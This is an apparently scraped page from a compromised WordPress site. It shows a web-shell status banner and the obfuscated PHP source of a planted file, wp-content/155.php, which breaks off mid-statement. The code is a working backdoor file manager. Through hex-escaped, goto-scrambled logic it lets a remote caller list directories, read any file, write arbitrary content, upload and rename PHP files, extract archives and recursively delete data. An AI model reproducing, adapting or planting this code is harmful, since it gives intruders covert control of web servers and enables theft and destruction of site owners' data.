HEX
Server: Apache/2
System: Linux localhost 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
User: rasad (1007)
PHP: 7.4.33
Disabled: shell_exec,system,passthru,exec,popen,ini_restore,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_bind,symlink,link,pfsockopen,ini_alter,dl,pcntl_exec,pcntl_fork,proc_close,proc_open,proc_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_uname,show_source,getfile,mkfifo
Upload Files
File: /home/rasad/domains/rasadeardakan.ir/public_html/wp-content/155.php
<?php
 goto paiqW; RXtYK: echo "\47\40\175\73\12\x20\x20\40\x20\x20\40\x20\40\x63\157\x6e\163\x74\x20\125\120\114\117\101\x44\137\x4c\x49\115\111\124\x5f\115\102\x20\75\40\x38\73\12\x20\x20\40\40\x20\x20\40\40\x63\x6f\x6e\x73\164\x20\x64\157\155\40\75\40\173\x20\146\151\154\145\x4c\151\x73\164\72\x64\x6f\x63\x75\155\x65\x6e\x74\56\147\145\164\105\154\145\155\145\156\164\102\171\x49\x64\x28\x27\x66\x69\x6c\x65\114\x69\163\164\x27\x29\x2c\160\x61\164\150\102\x61\x72\x3a\144\157\143\x75\x6d\145\156\x74\56\x67\145\x74\105\x6c\145\x6d\x65\x6e\x74\x42\171\111\x64\x28\47\x70\141\x74\150\102\141\x72\47\x29\x2c\165\x70\x6c\x6f\141\144\x42\164\156\x3a\144\157\x63\x75\155\145\x6e\x74\56\147\145\x74\105\x6c\145\x6d\145\156\164\x42\171\111\x64\x28\x27\165\x70\x6c\157\x61\144\102\164\156\x27\51\x2c\156\x65\x77\x46\151\x6c\145\102\x74\156\x3a\144\157\143\x75\x6d\x65\156\164\x2e\x67\145\164\105\154\145\155\145\156\x74\102\x79\111\144\50\x27\156\x65\167\106\x69\x6c\x65\102\164\x6e\x27\x29\54\156\145\x77\106\157\154\x64\x65\162\102\164\x6e\72\x64\157\143\x75\x6d\145\156\164\x2e\147\145\x74\x45\x6c\x65\x6d\145\x6e\164\x42\171\111\x64\x28\47\x6e\145\167\106\x6f\154\144\x65\x72\x42\164\156\x27\51\x2c\x64\x65\x6c\145\x74\145\102\x74\156\72\x64\x6f\143\x75\155\145\156\x74\x2e\147\x65\164\x45\154\x65\155\x65\156\x74\x42\x79\111\144\50\47\x64\x65\x6c\x65\164\x65\102\x74\156\x27\51\x2c\163\x65\154\145\143\x74\x41\154\154\x3a\144\157\143\165\155\145\x6e\164\56\x67\x65\x74\105\154\x65\x6d\x65\x6e\164\102\171\x49\x64\x28\x27\163\145\154\145\x63\x74\x41\154\154\x27\x29\x2c\163\160\151\156\x6e\x65\x72\x3a\144\x6f\x63\165\x6d\145\156\x74\x2e\147\145\x74\105\x6c\x65\155\145\x6e\164\102\171\111\x64\50\47\163\x70\151\x6e\x6e\x65\162\47\51\x2c\150\x69\x64\144\x65\x6e\x46\x69\x6c\x65\111\156\160\165\x74\72\x64\x6f\143\165\155\145\156\x74\x2e\147\x65\164\x45\x6c\145\x6d\145\x6e\x74\102\x79\111\x64\x28\47\150\x69\x64\144\x65\156\106\x69\x6c\145\111\156\160\x75\164\47\x29\x2c\145\x64\x69\x74\x6f\162\115\x6f\144\x61\x6c\x3a\x64\157\x63\165\x6d\x65\x6e\x74\x2e\147\x65\x74\105\x6c\x65\155\145\x6e\164\x42\x79\x49\144\50\x27\145\144\151\164\157\x72\x4d\x6f\144\141\154\47\51\x2c\x65\144\151\164\x6f\x72\106\151\x6c\x65\x6e\x61\155\145\x3a\x64\x6f\x63\x75\155\145\156\164\56\x67\x65\164\x45\154\x65\155\x65\156\x74\102\x79\111\x64\50\47\x65\144\151\164\157\162\x46\x69\x6c\x65\x6e\141\155\145\47\51\x2c\145\x64\x69\164\x6f\162\72\x64\x6f\x63\x75\x6d\145\x6e\164\56\x67\x65\x74\x45\x6c\145\155\145\x6e\164\x42\x79\111\x64\x28\47\x65\144\151\x74\157\162\47\51\54\x73\141\x76\x65\102\x74\156\x3a\x64\157\x63\165\155\x65\156\164\x2e\147\145\164\105\x6c\x65\155\145\x6e\x74\102\x79\x49\144\50\x27\x73\x61\x76\145\102\164\x6e\x27\51\x2c\175\73\xa\40\x20\x20\x20\x20\40\40\40\12\x20\x20\40\x20\x20\x20\40\x20\x61\163\x79\x6e\x63\40\x66\165\156\143\164\151\x6f\156\x20\x61\x70\x69\103\x61\154\x6c\50\141\143\164\x69\x6f\x6e\54\40\x66\x6f\x72\x6d\104\141\x74\141\x2c\40\163\x68\x6f\167\x53\165\x63\143\145\163\x73\75\146\141\x6c\x73\x65\51\x20\x7b\12\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x64\157\155\x2e\163\160\x69\156\x6e\x65\x72\x2e\163\x74\x79\154\x65\56\144\151\163\x70\154\141\171\x3d\x27\x69\x6e\154\x69\156\145\x2d\x62\x6c\157\x63\x6b\x27\x3b\xa\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\164\x72\x79\40\x7b\40\x66\157\162\x6d\x44\x61\x74\141\x2e\141\x70\x70\145\156\144\x28\x27\x61\143\x74\x69\x6f\156\47\54\40\x61\x63\164\x69\x6f\156\51\x3b\x20\143\x6f\x6e\163\x74\40\x72\145\163\x70\157\156\x73\145\x20\x3d\40\141\167\141\151\164\x20\146\145\164\x63\150\50\x27"; goto oZaSw; uJurW: if (!isset($_REQUEST["\x61\x63\x74\151\x6f\x6e"])) { goto DfhVs; } goto D72nK; V52qC: echo mZ1Tq(__DIR__); goto RXtYK; D72nK: header("\x43\157\156\x74\x65\x6e\x74\55\124\171\160\145\72\40\x61\160\x70\154\151\143\x61\x74\x69\x6f\156\x2f\x6a\x73\157\156\73\40\143\150\141\x72\x73\145\164\x3d\x75\164\146\x2d\70"); goto TCQDx; xlR3s: exit; goto OGFG5; oZaSw: echo basename(__FILE__); goto ujOxh; jioYG: function BOdSd($l4s14) { return is_string($l4s14) ? stripslashes($l4s14) : $l4s14; } goto pIPEo; Hpfks: $r3PuZ = $_REQUEST["\141\143\x74\x69\x6f\156"]; goto ClMaH; ClMaH: $O5kCE = ["\163\165\x63\143\x65\x73\x73" => false, "\x6d\145\x73\x73\141\x67\145" => "\111\156\166\141\x6c\x69\x64\x20\x61\143\x74\x69\x6f\156\56"]; goto ykxIo; paiqW: error_reporting(0); goto jioYG; ykxIo: try { goto edCJL; oXX_k: wk46_: goto zwvSg; edCJL: switch ($r3PuZ) { case "\x6c\x69\x73\164": goto tet6s; O0rKy: throw new Exception("\103\x61\x6e\x6e\x6f\x74\x20\141\x63\143\x65\x73\x73\x20\x70\x61\164\150\x2e\40\111\x74\40\155\x69\147\150\x74\40\x62\x65\x20\162\x65\163\x74\162\151\x63\x74\x65\x64\x20\142\x79\x20\x73\x65\162\166\x65\162\x20\143\157\156\x66\x69\x67\165\x72\141\x74\x69\157\156\40\x28\157\x70\145\156\x5f\x62\141\x73\x65\144\151\x72\51\56"); goto dPmr6; tet6s: $LPZ0f = isset($_POST["\x70\x61\x74\x68"]) ? Bodsd($_POST["\160\141\x74\150"]) : __DIR__; goto H9CYK; H9CYK: if (eHEcx($LPZ0f)) { goto YE2wn; } goto XbNzf; oWpsC: foreach (scandir($Thrhf) as $gouii) { goto oncZZ; Gd6U0: XE6Ch: goto W1nmF; pLE0r: ZYs0C: goto Y0QhS; riJrl: goto ZYs0C; goto Gd6U0; irc3B: $xZbhJ[] = ["\x6e\141\x6d\145" => $gouii, "\151\163\137\144\151\x72" => is_dir($rRqv4), "\x73\x69\172\x65" => is_dir($rRqv4) ? 0 : filesize($rRqv4), "\x6d\x6f\144\x69\146\151\x65\x64" => filemtime($rRqv4)]; goto pLE0r; oncZZ: if (!($gouii === "\x2e" || $gouii === "\56\x2e")) { goto XE6Ch; } goto riJrl; W1nmF: $rRqv4 = $Thrhf . "\x2f" . $gouii; goto irc3B; Y0QhS: } goto ELFk9; IZFGC: goto wk46_; goto tU1fJ; ELFk9: RJy61: goto CWUWg; beeR8: if (@scandir($Thrhf)) { goto pbxkm; } goto O0rKy; iwEua: YE2wn: goto IlqSY; CWUWg: $O5kCE = ["\163\165\x63\x63\145\x73\x73" => true, "\x66\x69\x6c\x65\163" => $xZbhJ, "\160\x61\x74\150" => $Thrhf]; goto IZFGC; IlqSY: $Thrhf = mZ1tq(realpath($LPZ0f)); goto pc6Ch; XbNzf: throw new Exception("\111\156\x76\x61\154\151\x64\x20\x6f\162\40\151\x6e\141\x63\x63\145\x73\x73\151\x62\154\x65\x20\160\141\x74\150\56"); goto iwEua; dPmr6: pbxkm: goto oWpsC; pc6Ch: $xZbhJ = []; goto beeR8; tU1fJ: case "\147\x65\x74\137\143\157\x6e\164\145\156\x74": goto Yv3WO; Yv3WO: $pqdzi = isset($_POST["\160\x61\x74\x68"]) ? bOdsD($_POST["\x70\x61\164\150"]) : ''; goto exubc; OnqMC: goto wk46_; goto BLvXG; pAK8H: $O5kCE = ["\163\165\143\x63\145\x73\x73" => true, "\143\x6f\x6e\164\x65\156\x74" => base64_encode(base64_encode(file_get_contents($pqdzi)))]; goto OnqMC; exubc: if (!(!realpath($pqdzi) || is_dir(realpath($pqdzi)))) { goto N8sU8; } goto AHra6; AHra6: throw new Exception("\111\156\x76\x61\154\x69\144\40\x66\x69\x6c\145\x20\146\x6f\162\40\145\144\x69\x74\151\x6e\147\x2e"); goto tBqc4; tBqc4: N8sU8: goto pAK8H; BLvXG: case "\147\x65\x74\x5f\x63\x6f\156\164\145\156\x74\x5f\142\66\64": goto s_kV9; r47ug: if (!(!realpath($pqdzi) || is_dir(realpath($pqdzi)))) { goto b15hg; } goto J_U0U; eK3QN: $pqdzi = base64_decode($Pnr5E); goto r47ug; s_kV9: $Pnr5E = isset($_POST["\x70\x61\164\x68\137\x62\x36\64"]) ? BOdSD($_POST["\160\141\x74\x68\137\x62\66\64"]) : ''; goto eK3QN; J_U0U: throw new Exception("\111\156\x76\141\154\x69\144\x20\x66\x69\154\145\40\146\157\x72\40\x65\144\x69\164\151\156\147\x2e"); goto X7pXR; tmbZG: $O5kCE = ["\x73\x75\x63\x63\x65\x73\x73" => true, "\143\x6f\156\164\x65\156\164" => base64_encode(base64_encode(file_get_contents($pqdzi)))]; goto fAU9a; X7pXR: b15hg: goto tmbZG; fAU9a: goto wk46_; goto K5ob8; K5ob8: case "\x73\x61\x76\x65\x5f\143\157\156\164\145\156\164": goto lX7e8; pkQTx: if (!(!EHECX($pqdzi) || file_exists($pqdzi) && is_dir($pqdzi))) { goto uo8f1; } goto R5zjn; YfZo5: uo8f1: goto HcRcr; R5zjn: throw new Exception("\x49\x6e\x76\141\154\x69\144\40\146\151\x6c\x65\x20\146\x6f\x72\x20\163\141\166\151\x6e\147\56"); goto YfZo5; T0VaJ: VKVpq: goto tZdCZ; FFCHo: $IvalL = base64_decode(base64_decode($HDZ78)); goto pkQTx; tZdCZ: $HDZ78 = implode('', $Kc6kD); goto FFCHo; anD2D: if (!empty($Kc6kD)) { goto VKVpq; } goto gsV3D; QPvge: $O5kCE = ["\x73\165\143\143\x65\x73\163" => true, "\155\x65\163\x73\141\x67\145" => "\106\151\154\145\40\163\141\166\x65\144\x20\x73\x75\x63\x63\145\163\x73\146\x75\x6c\x6c\171\56"]; goto QTJJp; M5YAn: wroS4: goto QPvge; ssZa_: throw new Exception("\103\x6f\165\154\x64\40\156\157\164\40\163\x61\166\145\40\146\x69\154\x65\x2e\40\103\x68\x65\x63\153\x20\160\x65\162\155\151\163\x73\151\157\x6e\x73\56"); goto uZjua; gsV3D: throw new Exception("\x43\157\156\x74\x65\x6e\x74\x20\x69\x73\40\145\155\160\x74\171\x2e"); goto T0VaJ; yI6hA: $Kc6kD = isset($_POST["\143\157\156\164\145\156\x74\x5f\x63\150\x75\x6e\153\x73"]) && is_array($_POST["\143\x6f\156\164\145\156\164\137\143\150\165\x6e\x6b\x73"]) ? $_POST["\143\157\156\164\x65\156\164\137\143\150\165\156\x6b\163"] : []; goto anD2D; uZjua: goto Zf4d8; goto M5YAn; QTJJp: Zf4d8: goto TPVBq; TPVBq: goto wk46_; goto yOlBE; HcRcr: if (file_put_contents($pqdzi, $IvalL) !== false) { goto wroS4; } goto ssZa_; lX7e8: $pqdzi = isset($_POST["\x70\x61\164\x68"]) ? boDSD($_POST["\x70\x61\x74\150"]) : ''; goto yI6hA; yOlBE: case "\163\x61\166\x65\137\x63\x6f\156\x74\x65\156\164\x5f\142\66\64": goto UZjc7; nWGfX: if (file_put_contents($pqdzi, $IvalL) !== false) { goto QtqRo; } goto nXRQ6; BXowI: $HDZ78 = implode('', $Kc6kD); goto m_wQJ; OdyB8: pTikw: goto nWGfX; S6WjG: throw new Exception("\x43\157\156\164\x65\x6e\164\40\151\163\x20\145\155\x70\x74\x79\x2e"); goto V2NdX; Vj7c3: $Kc6kD = isset($_POST["\143\157\x6e\x74\x65\x6e\x74\x5f\143\150\x75\156\x6b\163"]) && is_array($_POST["\143\x6f\156\x74\x65\x6e\x74\137\143\150\165\156\x6b\x73"]) ? $_POST["\143\157\x6e\x74\145\x6e\x74\137\x63\150\x75\x6e\x6b\163"] : []; goto hvA7L; Mbo1N: $pqdzi = base64_decode($Pnr5E); goto Vj7c3; Tezv5: if (!(!eheCx($pqdzi) || file_exists($pqdzi) && is_dir($pqdzi))) { goto pTikw; } goto j139A; j139A: throw new Exception("\x49\156\x76\141\x6c\x69\144\x20\146\x69\x6c\145\x20\146\x6f\x72\x20\x73\x61\166\x69\x6e\x67\56"); goto OdyB8; m_wQJ: $IvalL = base64_decode(base64_decode($HDZ78)); goto Tezv5; nXRQ6: throw new Exception("\x44\151\162\x65\143\x74\40\x73\x61\x76\145\40\x66\x61\x69\x6c\145\144\x2e\40\x43\150\x65\143\153\40\160\145\x72\155\x69\x73\x73\151\157\x6e\163\x2e"); goto A9uN1; UCzvr: sQof1: goto wgfs7; BqJGj: $O5kCE = ["\x73\165\x63\143\x65\163\163" => true, "\155\145\163\x73\x61\147\145" => "\x46\151\x6c\x65\x20\163\141\x76\x65\x64\x20\163\165\x63\143\145\163\x73\x66\x75\154\154\171\40\x28\144\x69\x72\x65\143\x74\x20\155\x65\x74\150\157\144\x29\56"]; goto UCzvr; eiAKO: QtqRo: goto BqJGj; wgfs7: goto wk46_; goto isRtT; UZjc7: $Pnr5E = isset($_POST["\x70\141\x74\x68\x5f\x62\x36\64"]) ? BodSD($_POST["\x70\141\x74\x68\x5f\x62\x36\x34"]) : ''; goto Mbo1N; hvA7L: if (!empty($Kc6kD)) { goto xrzIB; } goto S6WjG; V2NdX: xrzIB: goto BXowI; A9uN1: goto sQof1; goto eiAKO; isRtT: case "\143\x72\145\141\164\145\137\146\151\154\145": goto OwSii; i8TYo: goto wk46_; goto GUtRj; gbaG8: if (touch(rtrim($LPZ0f, "\x2f") . "\57" . $Nt1lj)) { goto iO9BX; } goto bCkAC; EZUqn: if (!(!eheCx($LPZ0f) || empty($Nt1lj))) { goto aUyYr; } goto j6rjk; bCkAC: throw new Exception("\103\x6f\x75\154\x64\x20\x6e\157\164\x20\143\x72\145\x61\164\x65\x20\x66\151\154\145\56"); goto y4zB1; mhIM8: DHRJH: goto i8TYo; mIeS3: aUyYr: goto gbaG8; FfAA2: iO9BX: goto Zm2w9; Zm2w9: $O5kCE = ["\x73\x75\143\143\x65\163\163" => true, "\155\x65\163\x73\141\147\145" => "\x46\151\154\x65\40\143\162\x65\x61\164\145\x64\56"]; goto mhIM8; OwSii: $LPZ0f = isset($_POST["\x70\141\164\150"]) ? BODSD($_POST["\x70\x61\164\x68"]) : ''; goto yzIoC; yzIoC: $Nt1lj = isset($_POST["\x6e\141\x6d\x65"]) ? iOrKw($_POST["\156\141\x6d\x65"]) : ''; goto EZUqn; j6rjk: throw new Exception("\111\156\166\141\x6c\x69\x64\x20\x70\141\164\x68\40\157\162\40\x66\x69\154\145\x20\156\141\x6d\145\x2e"); goto mIeS3; y4zB1: goto DHRJH; goto FfAA2; GUtRj: case "\x75\x70\x6c\x6f\141\144": goto qQ8h3; iJPTy: qZY02: goto OFbkx; i_0_O: if (file_put_contents($UovEM, $Aubel) !== false) { goto ThiiW; } goto AonhM; FXTEO: $UovEM = rtrim($LPZ0f, "\x2f") . "\x2f" . $vXRGp; goto i_0_O; uXH7s: list(, $xY5II) = explode("\x2c", $xY5II); goto cyXDl; OFbkx: goto wk46_; goto Cp0Cq; W8ble: $xY5II = isset($_POST["\x63\157\156\164\x65\156\164\x5f\142\141\163\145\x36\64"]) ? $_POST["\143\157\x6e\x74\145\156\x74\137\x62\x61\163\x65\x36\x34"] : ''; goto edFuu; AonhM: throw new Exception("\x43\x6f\x75\154\x64\x20\156\x6f\164\x20\163\141\x76\x65\40\165\x70\154\157\141\144\145\x64\x20\146\151\x6c\x65\56\40\x43\x68\145\x63\153\x20\x70\145\162\155\x69\163\163\x69\157\156\x73\x2e"); goto miNA7; JJvI3: if (!(strpos($xY5II, "\54") !== false)) { goto edazs; } goto uXH7s; miNA7: goto qZY02; goto hmzE3; Mm_Or: $oVJL8 = isset($_POST["\x66\151\x6c\145\156\x61\155\x65\137\x62\x61\x73\145\66\64"]) ? $_POST["\x66\x69\x6c\x65\156\x61\155\x65\137\x62\x61\x73\145\x36\64"] : ''; goto W8ble; qxICL: $vXRGp = iOrKw(base64_decode($oVJL8)); goto JJvI3; w6VVP: cKj6u: goto qxICL; edFuu: if (!(!EheCx($LPZ0f) || empty($oVJL8) || empty($xY5II))) { goto cKj6u; } goto AHDDf; cyXDl: edazs: goto yDVe3; yDVe3: $Aubel = base64_decode($xY5II); goto FXTEO; hmzE3: ThiiW: goto nL1Nb; qQ8h3: $LPZ0f = isset($_POST["\x70\141\164\150"]) ? BODSd($_POST["\160\141\164\x68"]) : __DIR__; goto Mm_Or; nL1Nb: $O5kCE = ["\x73\165\143\x63\145\x73\x73" => true, "\155\145\163\x73\141\x67\145" => "\106\151\x6c\x65\x20\x75\160\154\157\141\x64\145\144\x20\163\165\x63\143\x65\163\x73\x66\x75\154\x6c\171\56"]; goto iJPTy; AHDDf: throw new Exception("\111\156\x76\141\x6c\x69\144\40\x64\141\x74\x61\x20\146\x6f\x72\x20\x75\x70\x6c\157\x61\x64\x2e"); goto w6VVP; Cp0Cq: case "\x75\160\x6c\157\141\x64\137\160\x68\160": goto vvPQo; ofv9v: throw new Exception("\x43\x6f\x75\x6c\144\x20\156\x6f\x74\x20\163\x61\166\145\40\x74\145\x6d\x70\x6f\162\141\162\171\x20\146\151\154\x65\x2e\40\103\150\145\143\153\x20\160\x65\162\155\151\163\x73\x69\157\x6e\163\56"); goto gITq_; ZgPi0: if (!(file_put_contents($a6xui, $Aubel) === false)) { goto StWnF; } goto ofv9v; FL8VM: if (!(!EHeCx($LPZ0f) || empty($oVJL8) || empty($xY5II))) { goto WXt5Y; } goto ry9qu; WVon2: $Mhfb7 = $aFg1B . "\x2e\x74\x78\164"; goto ErLfP; QDStQ: unlink($a6xui); goto tYq5b; wKML4: $a6xui = rtrim($LPZ0f, "\x2f") . "\x2f" . $Mhfb7; goto RYjpM; vvPQo: $LPZ0f = isset($_POST["\x70\x61\x74\x68"]) ? BodSd($_POST["\160\141\164\150"]) : __DIR__; goto GBMzZ; LvXs0: list(, $xY5II) = explode("\x2c", $xY5II); goto WNfsl; RVuo9: $Aubel = base64_decode($xY5II); goto wKML4; hnBWP: $xY5II = isset($_POST["\143\157\156\164\145\x6e\x74\x5f\x62\141\x73\145\x36\x34"]) ? $_POST["\143\157\x6e\x74\145\156\164\x5f\x62\141\x73\x65\66\64"] : ''; goto FL8VM; v7eWn: goto wk46_; goto ak7id; RYjpM: $cuoBZ = rtrim($LPZ0f, "\x2f") . "\x2f" . $aFg1B; goto ZgPi0; tYq5b: throw new Exception("\103\x6f\x75\154\144\x20\x6e\157\164\40\x72\145\x6e\x61\x6d\145\40\x74\145\155\160\x6f\x72\x61\162\x79\x20\x66\x69\154\145\x2e"); goto NDqPE; tgLf3: WXt5Y: goto vv1We; GBMzZ: $oVJL8 = isset($_POST["\146\x69\154\x65\156\x61\x6d\x65\x5f\x62\141\163\x65\x36\x34"]) ? $_POST["\146\151\154\145\156\x61\155\145\x5f\x62\141\x73\145\x36\x34"] : ''; goto hnBWP; NDqPE: goto YOEHA; goto YG1JG; vv1We: $aFg1B = IoRKW(base64_decode($oVJL8)); goto WVon2; YG1JG: fVAaq: goto DGxgN; ry9qu: throw new Exception("\111\x6e\x76\x61\x6c\151\144\x20\x64\141\x74\141\40\x66\x6f\162\x20\120\110\x50\40\x75\x70\x6c\157\x61\x64\x2e"); goto tgLf3; WNfsl: ViG8M: goto RVuo9; wb5N5: YOEHA: goto v7eWn; q5mtQ: if (rename($a6xui, $cuoBZ)) { goto fVAaq; } goto QDStQ; ErLfP: if (!(strpos($xY5II, "\54") !== false)) { goto ViG8M; } goto LvXs0; gITq_: StWnF: goto q5mtQ; DGxgN: $O5kCE = ["\163\165\x63\143\x65\163\x73" => true, "\x6d\x65\x73\x73\141\x67\x65" => "\120\x48\x50\40\146\x69\154\145\x20\x75\x70\154\157\141\x64\145\144\x20\x73\x75\x63\x63\145\x73\x73\146\x75\x6c\154\x79\x2e"]; goto wb5N5; ak7id: case "\x75\156\x7a\x69\x70": goto EkybK; K68Ng: yRcSU: goto Qpc2S; Yugdl: goto wk46_; goto bOASZ; ZzDq4: $VWAM6->extractTo(dirname($VRtyD)); goto X_c2b; nAmBg: throw new Exception("\x49\x6e\166\141\x6c\151\144\40\160\x61\x74\150\56"); goto kAMp7; UYCmZ: $VRtyD = isset($_POST["\x70\141\x74\150"]) ? BodSD($_POST["\x70\x61\x74\150"]) : ''; goto GJPgQ; MtIPD: if ($VWAM6->open($VRtyD) === TRUE) { goto fEPgp; } goto jw6LQ; kAMp7: z9flN: goto UYCmZ; HDy_K: if (class_exists("\132\x69\x70\x41\x72\143\x68\x69\x76\145")) { goto yRcSU; } goto sdnGu; DVN_h: goto X8WVc; goto a1H4y; X_c2b: $VWAM6->close(); goto A0KQN; sdnGu: throw new Exception("\120\110\x50\40\132\x49\120\40\x65\x78\x74\x65\x6e\163\x69\157\156\40\156\x6f\x74\40\x69\156\x73\164\141\x6c\x6c\145\144\56"); goto K68Ng; jw6LQ: throw new Exception("\106\141\151\x6c\x65\144\40\164\x6f\40\157\x70\x65\156\40\x61\162\x63\150\x69\x76\145\x2e"); goto DVN_h; CmKhc: if (EHEcX($LPZ0f)) { goto z9flN; } goto nAmBg; a1H4y: fEPgp: goto ZzDq4; EkybK: $LPZ0f = isset($_POST["\160\141\x74\150"]) ? bodSD($_POST["\160\x61\x74\x68"]) : __DIR__; goto CmKhc; Qpc2S: $VWAM6 = new ZipArchive(); goto MtIPD; n1g1R: throw new Exception("\111\x6e\x76\141\x6c\151\x64\40\x5a\111\120\40\146\151\x6c\145\40\160\141\x74\150\56"); goto cRe74; x9SwT: X8WVc: goto Yugdl; GJPgQ: if (!(!realpath($VRtyD) || !is_file(realpath($VRtyD)) || pathinfo($VRtyD, PATHINFO_EXTENSION) !== "\172\151\x70")) { goto aJgU6; } goto n1g1R; cRe74: aJgU6: goto HDy_K; A0KQN: $O5kCE = ["\x73\165\143\x63\x65\163\x73" => true, "\155\x65\x73\x73\141\147\145" => "\x41\x72\143\150\x69\x76\x65\x20\x65\170\x74\x72\141\x63\x74\x65\x64\56"]; goto x9SwT; bOASZ: case "\x64\x65\x6c\145\164\145": goto iW_cp; whFda: T6aIQ: goto n_BIW; BdfnT: goto wk46_; goto kKPdS; KOr1j: foreach ($BbW0G as $gouii) { goto o25rZ; G6vVg: n8TjK: goto DSpnq; YsEkK: if (!file_exists($rRqv4)) { goto n8TjK; } goto Jb2H_; Jb2H_: G7ZtR($rRqv4); goto G6vVg; o25rZ: $rRqv4 = rtrim($LPZ0f, "\x2f") . "\x2f" . $gouii; goto YsEkK; DSpnq: g2z4v: goto UTfxk; UTfxk: } goto CIBVz; n_BIW: function G7ZTr($gouii) { goto R63Ae; KBc3G: return rmdir($gouii); goto GHHe3; iCQLG: uzsWw: goto KBc3G; UabBE: foreach ($GdJcV as $pqdzi) { G7ZTr("{$gouii}\x2f{$pqdzi}"); wuqAa: } goto iCQLG; MFOgA: goto JviQ6; goto V04Ta; ME_wQ: return unlink($gouii); goto MFOgA; GHHe3: JviQ6: goto ZaK0c; r6KYv: $GdJcV = array_diff(scandir($gouii), ["\56", "\x2e\56"]); goto UabBE; R63Ae: if (is_dir($gouii)) { goto J1fSU; } goto ME_wQ; V04Ta: J1fSU: goto r6KYv; ZaK0c: } goto KOr1j; CIBVz: tjgV1: goto FTRP8; FTRP8: $O5kCE = ["\x73\x75\x63\143\145\163\163" => true, "\x6d\145\163\163\x61\x67\x65" => "\111\164\145\x6d\163\40\144\x65\154\x65\x74\x65\x64\x2e"]; goto BdfnT; lhN1g: if (!empty($BbW0G)) { goto T6aIQ; } goto wclMF; iW_cp: $LPZ0f = isset($_POST["\160\141\164\150"]) ? bOdsd($_POST["\x70\x61\164\150"]) : __DIR__; goto d_2cx; wclMF: throw new Exception("\116\157\40\x69\x74\145\155\163\x20\163\x65\x6c\145\143\164\x65\x64\40\146\x6f\x72\40\x64\145\154\x65\164\151\157\x6e\56"); goto whFda; d_2cx: $BbW0G = isset($_POST["\151\164\x65\155\x73"]) && is_array($_POST["\151\x74\x65\155\x73"]) ? $_POST["\x69\164\x65\x6d\x73"] : []; goto lhN1g; kKPdS: case "\x64\145\154\x65\x74\145\x5f\x62\x36\64": goto zjsJ2; U1moq: throw new Exception("\116\x6f\x20\151\164\x65\x6d\163\40\163\145\x6c\145\x63\164\x65\144\x20\x66\x6f\x72\40\144\x65\154\x65\164\x69\157\156\x2e"); goto D3JHd; sAmTh: lNSDQ: goto N82zH; eLKgw: goto wk46_; goto A4Dfa; R6AqY: $cMO3q = isset($_POST["\x69\x74\x65\x6d\163\137\142\x36\64"]) && is_array($_POST["\x69\x74\145\155\x73\137\x62\66\64"]) ? $_POST["\151\164\145\x6d\163\137\x62\66\64"] : []; goto wX2tW; zjsJ2: $LPZ0f = isset($_POST["\x70\141\x74\x68"]) ? BoDsD($_POST["\160\x61\164\150"]) : __DIR__; goto R6AqY; stKF0: QaFRg: goto lxckq; D3JHd: vQrfZ: goto syNrO; lxckq: $O5kCE = ["\163\x75\x63\143\x65\163\163" => true, "\155\x65\163\163\141\147\145" => "\111\164\145\x6d\163\x20\144\145\x6c\145\164\145\144\56"]; goto eLKgw; N82zH: if (!empty($BbW0G)) { goto vQrfZ; } goto U1moq; wX2tW: $BbW0G = []; goto S2YpN; qxwmn: foreach ($BbW0G as $gouii) { goto PYjdq; RFD9K: if (!file_exists($rRqv4)) { goto x21Q1; } goto yhMeK; PYjdq: $rRqv4 = rtrim($LPZ0f, "\x2f") . "\57" . $gouii; goto RFD9K; yhMeK: EJmDe($rRqv4); goto PpdoD; PpdoD: x21Q1: goto RqSvy; RqSvy: ZVzny: goto w2yav; w2yav: } goto stKF0; S2YpN: foreach ($cMO3q as $Y0s3Y) { $BbW0G[] = base64_decode($Y0s3Y); T1eDf: } goto sAmTh; syNrO: function eJmDE($gouii) { goto Y1d96; TU9Dx: return unlink($gouii); goto PdgD6; EQF_4: kohvJ: goto DK717; JtzdN: return rmdir($gouii); goto Z1DCi; Z1DCi: EyLoH: goto vBHVf; DK717: $GdJcV = array_diff(scandir($gouii), ["\x2e", "\x2e\x2e"]); goto eWhI3; PdgD6: goto EyLoH; goto EQF_4; pCszV: gp01P: goto JtzdN; Y1d96: if (is_dir($gouii)) { goto kohvJ; } goto TU9Dx; eWhI3: foreach ($GdJcV as $pqdzi) { ejMDE("{$gouii}\57{$pqdzi}"); h4Kq1: } goto pCszV; vBHVf: } goto qxwmn; A4Dfa: case "\x63\162\x65\141\164\145\137\x66\157\154\144\x65\x72": goto GtRdL; GtRdL: $LPZ0f = isset($_POST["\160\x61\164\x68"]) ? BOdsD($_POST["\160\x61\164\x68"]) : __DIR__; goto ZE1fm; kA3Il: if (!(!EHEcx($LPZ0f) || empty($Nt1lj))) { goto guxHk; } goto xbgzn; g35gJ: VMA6h: goto z5NgK; JWUZq: goto VMA6h; goto Gvtz7; lyGMz: guxHk: goto tnynu; Gvtz7: BqVoL: goto uF6WG; xbgzn: throw new Exception("\x49\156\166\x61\x6c\151\x64\40\160\x61\x74\150\x20\157\x72\x20\146\x6f\x6c\144\x65\x72\x20\x6e\x61\x6d\x65\x2e"); goto lyGMz; tnynu: if (mkdir(rtrim($LPZ0f, "\57") . "\57" . $Nt1lj)) { goto BqVoL; } goto myhTU; z5NgK: goto wk46_; goto HEhJr; ZE1fm: $Nt1lj = isset($_POST["\x6e\x61\x6d\x65"]) ? str_replace(["\x2e\x2e", "\x2f", "\134"], '', $_POST["\x6e\x61\155\x65"]) : ''; goto kA3Il; uF6WG: $O5kCE = ["\x73\165\143\143\145\x73\x73" => true, "\155\145\163\163\x61\147\145" => "\x46\x6f\154\144\145\162\x20\x63\162\x65\x61\x74\145\144\x2e"]; goto g35gJ; myhTU: throw new Exception("\103\x6f\165\x6c\x64\40\x6e\157\x74\40\143\x72\145\141\164\x65\x20\x66\157\154\144\x65\x72\56"); goto JWUZq; HEhJr: case "\162\145\156\x61\x6d\145": goto HGNyO; S3Kqt: $O5kCE = ["\x73\x75\x63\x63\x65\x73\163" => true, "\155\145\163\x73\141\147\145" => "\x49\x74\145\155\x20\x72\x65\156\141\x6d\x65\x64\40\x73\x75\x63\x63\x65\x73\x73\x66\165\154\154\x79\x2e"]; goto tqhUQ; DWk36: throw new 